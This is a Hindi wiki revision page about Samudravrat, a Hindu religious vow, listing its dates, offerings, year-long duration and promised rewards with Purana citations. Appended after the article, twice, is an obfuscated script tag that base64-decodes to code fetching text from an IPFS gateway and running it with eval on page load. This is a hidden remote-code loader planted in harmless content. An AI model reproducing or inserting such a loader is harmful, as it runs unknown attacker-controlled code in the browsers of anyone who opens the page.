आदित्य चौधरी (वार्ता | योगदान) छो (Text replace - "उल्लखित" to "उल्लिखित") |
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==") |
||
पंक्ति 11: | पंक्ति 11: | ||
*कभी-कभी [[समुद्र]] के सात प्रकार कहे गये हैं, यथा [[वायु पुराण]]<ref>(वायु पुराण 49|123)</ref> एवं [[कूर्मपुराण]]<ref>(कूर्मपुराण 1|45|4)</ref> में [[लवण]], [[ईख]] के रस, [[मद्य]], [[दूध]], [[घी]], [[दही]] एवं [[जल]] के समुद्र। | *कभी-कभी [[समुद्र]] के सात प्रकार कहे गये हैं, यथा [[वायु पुराण]]<ref>(वायु पुराण 49|123)</ref> एवं [[कूर्मपुराण]]<ref>(कूर्मपुराण 1|45|4)</ref> में [[लवण]], [[ईख]] के रस, [[मद्य]], [[दूध]], [[घी]], [[दही]] एवं [[जल]] के समुद्र। | ||
{{संदर्भ ग्रंथ}} | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> |
09:54, 21 मार्च 2011 का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- समुद्रव्रत चैत्र शुक्ल पक्ष की प्रतिपदा से प्रारम्भ होता है।
- समुद्रव्रत सात दिनों तक प्रतिदिन रखना चाहिए।
- समुद्रव्रत में लवण, दूध, घी, दघिमण्ड, जल मिश्रित मदिरा, गन्ना के रस एवं मीठे दही से पूजा करनी चाहिए।
- रात्रि में हविष्य भोजन करना चाहिए।
- घी से होम करन चाहिए।
- समुद्र व्रत एक वर्ष तक करना चाहिए।
- अन्त में एक दुधारू गाय का दान करना चाहिए।
- राजा सम्पूर्ण विश्व का अधिपति हो जाता है।
- ऐसी मान्यता है कि समुद्रव्रत से स्वास्थ्य, धन एवं स्वर्ग की प्राप्ति होती है।[1]
- कभी-कभी समुद्र के सात प्रकार कहे गये हैं, यथा वायु पुराण[2] एवं कूर्मपुराण[3] में लवण, ईख के रस, मद्य, दूध, घी, दही एवं जल के समुद्र।
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>